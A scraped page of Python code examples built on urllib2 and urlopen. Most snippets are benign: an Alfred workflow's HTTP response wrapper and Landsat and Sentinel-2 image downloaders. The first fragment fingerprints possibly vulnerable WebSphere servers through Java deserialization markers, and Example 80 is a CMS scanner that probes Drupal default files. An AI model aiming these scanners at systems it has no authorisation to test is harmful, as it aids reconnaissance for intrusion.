            saveToFile('[+] Websphere: ' + url + ':' + port + '\n')
            mutex.release()
            return True
    except urllib2.HTTPError as e:
        if e.getcode() == 500:
            if "rO0AB" in e.read():
                mutex.acquire()
                print " - (possibly) Vulnerable Websphere: " + url + " (" + port + ")"
                saveToFile('[+] Websphere: ' + url + ':' + port + '\n')
                mutex.release()
                return True
    except:
        pass

# Used this part from https://github.com/foxglovesec/JavaUnserializeExploits 
Example 77
Project: gist-alfred   Author: danielecook   File: web.py    MIT License 4 votes vote down vote up
def __init__(self, request, stream=False):
        """Call `request` with :mod:`urllib2` and process results.

        :param request: :class:`urllib2.Request` instance
        :param stream: Whether to stream response or retrieve it all at once
        :type stream: bool

        """
        self.request = request
        self._stream = stream
        self.url = None
        self.raw = None
        self._encoding = None
        self.error = None
        self.status_code = None
        self.reason = None
        self.headers = CaseInsensitiveDictionary()
        self._content = None
        self._content_loaded = False
        self._gzipped = False

        # Execute query
        try:
            self.raw = urllib2.urlopen(request)
        except urllib2.HTTPError as err:
            self.error = err
            try:
                self.url = err.geturl()
            # sometimes (e.g. when authentication fails)
            # urllib can't get a URL from an HTTPError
            # This behaviour changes across Python versions,
            # so no test cover (it isn't important).
            except AttributeError:  # pragma: no cover
                pass
            self.status_code = err.code
        else:
            self.status_code = self.raw.getcode()
            self.url = self.raw.geturl()
        self.reason = RESPONSES.get(self.status_code)

        # Parse additional info if request succeeded
        if not self.error:
            headers = self.raw.info()
            self.transfer_encoding = headers.getencoding()
            self.mimetype = headers.gettype()
            for key in headers.keys():
                self.headers[key.lower()] = headers.get(key)

            # Is content gzipped?
            # Transfer-Encoding appears to not be used in the wild
            # (contrary to the HTTP standard), but no harm in testing
            # for it
            if 'gzip' in headers.get('content-encoding', '') or \
                    'gzip' in headers.get('transfer-encoding', ''):
                self._gzipped = True 
Example 78
Project: fetchLandsatSentinelFromGoogleCloud   Author: vascobnunes   File: fels.py    MIT License 4 votes vote down vote up
def get_landsat_image(url, outputdir, overwrite=False, sat="TM"):
    """Download a Landsat image file."""
    img = os.path.basename(url)
    if sat == "TM":
        possible_bands = ['B1.TIF', 'B2.TIF', 'B3.TIF', 'B4.TIF', 'B5.TIF',
                          'B6.TIF', 'B7.TIF', 'GCP.txt', 'VER.txt', 'VER.jpg',
                          'ANG.txt', 'BQA.TIF', 'MTL.txt']
    elif sat == "OLI_TIRS":
        possible_bands = ['B1.TIF', 'B2.TIF', 'B3.TIF', 'B4.TIF', 'B5.TIF',
                          'B6.TIF', 'B7.TIF', 'B8.TIF', 'B9.TIF', 'B10.TIF',
                          "B11.TIF", 'BQA.TIF', 'MTL.txt']
    elif sat == "ETM":
        possible_bands = ['B1.TIF', 'B2.TIF', 'B3.TIF', 'B4.TIF', 'B5.TIF',
                          'B6.TIF', 'B6_VCID_1.TIF', 'B6_VCID_2.TIF', 'B7.TIF',
                          'B8.TIF', 'B9.TIF', 'BQA.TIF', 'MTL.txt']
    else:
        possible_bands = ['B1.TIF', 'B2.TIF', 'B3.TIF', 'B4.TIF', 'B5.TIF',
                          'B6.TIF', 'B6_VCID_1.TIF', 'B6_VCID_2.TIF', 'B7.TIF',
                          'B8.TIF', 'B9.TIF', 'BQA.TIF', 'MTL.txt']

    target_path = os.path.join(outputdir, img)

    if not os.path.isdir(target_path):
        os.makedirs(target_path)
    for band in possible_bands:
        complete_url = url + "/" + img + "_" + band
        target_file = os.path.join(target_path, img + "_" + band)
        if os.path.exists(target_file) and not overwrite:
            print(target_file, "exists and --overwrite option was not used. Skipping image download")
            continue
        try:
            content = urlopen(complete_url, timeout=600)
        except HTTPError:
            print("Could not find", band, "band image file.")
            continue
        except URLError:
            print("Timeout, Restart=======>")
            time.sleep(10)
            get_landsat_image(url, outputdir, overwrite, sat)
            return
        with open(target_file, 'wb') as f:
            try:
                shutil.copyfileobj(content, f)
            except socket.timeout:
                print("Socket Timeout, Restart=======>")
                time.sleep(10)
                get_landsat_image(url, outputdir, overwrite, sat)
                return
            print("Downloaded", target_file) 
Example 79
Project: fetchLandsatSentinelFromGoogleCloud   Author: vascobnunes   File: fels.py    MIT License 4 votes vote down vote up
def get_sentinel2_image(url, outputdir, overwrite=False, partial=False, noinspire=False):
    """
    Collect the entire dir structure of the image files from the
    manifest.safe file and build the same structure in the output
    location."""
    img = os.path.basename(url)
    target_path = os.path.join(outputdir, img)
    target_manifest = os.path.join(target_path, "manifest.safe")
    if not os.path.exists(target_path) or overwrite:
        os.makedirs(target_path)
        manifest_url = url + "/manifest.safe"
        content = urlopen(manifest_url)
        with open(target_manifest, 'wb') as f:
            shutil.copyfileobj(content, f)
        with open(target_manifest, 'r') as manifest_file:
            manifest_lines = manifest_file.read().split()
        for line in manifest_lines:
            if 'href' in line:
                rel_path = line[7:line.find("><") - 2]
                abs_path = os.path.join(target_path, *rel_path.split('/')[1:])
                if not os.path.exists(os.path.dirname(abs_path)):
                    os.makedirs(os.path.dirname(abs_path))
                try:
                    download_file(url + rel_path, abs_path)
                except HTTPError as error:
                    print("Error downloading {} [{}]".format(url + rel_path, error))
                    continue
        granule = os.path.dirname(os.path.dirname(get_S2_image_bands(target_path, "B01")))
        for extra_dir in ("AUX_DATA", "HTML"):
            if not os.path.exists(os.path.join(target_path, extra_dir)):
                os.makedirs(os.path.join(target_path, extra_dir))
            if not os.path.exists(os.path.join(granule, extra_dir)):
                os.makedirs(os.path.join(granule, extra_dir))
        if not manifest_lines:
            print()
    if partial:
        tile_chk = check_full_tile(get_S2_image_bands(target_path, "B01"))
        if tile_chk == 'Partial':
            print("Removing partial tile image files...")
            shutil.rmtree(target_path)
    if not noinspire:
        inspire_file = os.path.join(target_path, "INSPIRE.xml")
        if os.path.isfile(inspire_file):
            inspire_path = get_S2_INSPIRE_title(inspire_file)
            if os.path.basename(target_path) != inspire_path:
                os.rename(target_path, inspire_path)
        else:
            print(f"File {inspire_file} could not be found.") 
Example 80
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 4 votes vote down vote up
def DruDefaultFiles(self):
        self.defFilesFound = []
        msg = "Drupal Default Files: "; report.message(msg)
        report.WriteTextFile(msg)
        self.defFiles=['/README.txt',
                  '/INSTALL.mysql.txt',
                  '/MAINTAINERS.txt',
                  '/profiles/standard/translations/README.txt',
                  '/profiles/minimal/translations/README.txt',
                  '/INSTALL.pgsql.txt',
                  '/UPGRADE.txt',
                  '/CHANGELOG.txt',
                  '/INSTALL.sqlite.txt',
                  '/LICENSE.txt',
                  '/INSTALL.txt',
                  '/COPYRIGHT.txt',
                  '/web.config',
                  '/modules/README.txt',
                  '/modules/simpletest/files/README.txt',
                  '/modules/simpletest/files/javascript-1.txt',
                  '/modules/simpletest/files/php-1.txt',
                  '/modules/simpletest/files/sql-1.txt',
                  '/modules/simpletest/files/html-1.txt',
                  '/modules/simpletest/tests/common_test_info.txt',
                  '/modules/filter/tests/filter.url-output.txt',
                  '/modules/filter/tests/filter.url-input.txt',
                  '/modules/search/tests/UnicodeTest.txt',
                  '/themes/README.txt',
                  '/themes/stark/README.txt',
                  '/sites/README.txt',
                  '/sites/all/modules/README.txt',
                  '/sites/all/themes/README.txt',
                  '/modules/simpletest/files/html-2.html',
                  '/modules/color/preview.html',
                  '/themes/bartik/color/preview.html'
                  ]
        for file in self.defFiles:
            req = urllib2.Request(self.url+file,None,self.headers)
            try:
                htmltext = urllib2.urlopen(req).read()
                if len(htmltext) not in self.notValidLen:
                    self.defFilesFound.append(self.url+file)
            except urllib2.HTTPError, e:
                #print e.code
                pass